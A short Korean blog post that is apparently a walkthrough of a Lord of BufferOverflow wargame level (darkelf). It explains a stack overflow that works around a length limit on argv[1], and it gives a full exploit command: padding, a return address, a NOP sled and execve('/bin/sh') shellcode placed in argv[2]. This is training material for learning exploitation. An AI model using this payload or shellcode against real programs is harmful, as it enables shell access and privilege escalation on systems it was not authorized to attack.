이번 문제는 저번문제에서 한가지 옵션이 더 추가됬다.
argv[1]의 크기를 제한 두었기 때문에
저번처럼 수천개씩 인자를 넣는것이 불가능해 보인다.
처음에는 argc값도 제한 한줄알고 조금 해맸지만
다시 코드를 보니 argc < 2 일때 제한 한것이기 때문에
argc에 들어갈 문자열을 늘려주면 어떻게 될까 하여 gdb에서 테스트해보았다.
위의 사진과 같이 argv[1]이후에 이어서 저장되는 모습을 볼 수 있다.
./darkelf `python -c 'print "A"*44 + "\x48\xfc\xff\xbf"'` `python -c 'print "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
그렇다면 저번과 같은 원리로 이를 argv[2]를 보내는 것으로 문제를 해결 할 수있다.
'정보보안 > LOB' 카테고리의 다른 글
[LOB] Level5 (Orc->Wolfman) (0) | 2022.07.24 |
---|---|
[LOB] Level4 (Goblin->Orc) (0) | 2022.07.24 |
[LOB] Level3 (Cobolt->Goblin) (0) | 2022.07.17 |
[LOB] Level2 (Gremlin->Cobolt) (0) | 2022.07.17 |
[LOB] Level1 (Gate->Gremlin) (0) | 2022.07.14 |